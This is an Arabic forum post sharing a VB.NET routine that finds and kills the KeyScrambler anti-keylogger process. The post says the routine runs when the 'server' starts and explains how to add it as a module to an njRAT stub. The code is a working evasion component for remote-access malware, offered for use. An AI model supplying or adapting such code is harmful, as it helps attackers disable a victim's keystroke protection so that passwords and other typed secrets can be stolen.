تخطي, keyscrambler
بسم الله الرحمن الرحيم
عندي كود تخطي الـ KeyScrambler
وضيفة الكود اول مايشتغل السيرفر يقتل KeyScrambler
تم تجربته قبل قليل :
 |
|
 |
|
Sub AntiKeyscrambler()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case "keyscrambler"
generaldee(i).Kill()
Case Else
End Select
Next
End Sub |
|
 |
|
 |
طريقة وضع الكود
تدخل ستب نجرات مثلا وتضيف له مودل جديد وتضيف الكود
وتسوي استدعاء
انتهى
jo'd hgJ KeyScrambler keyscrambler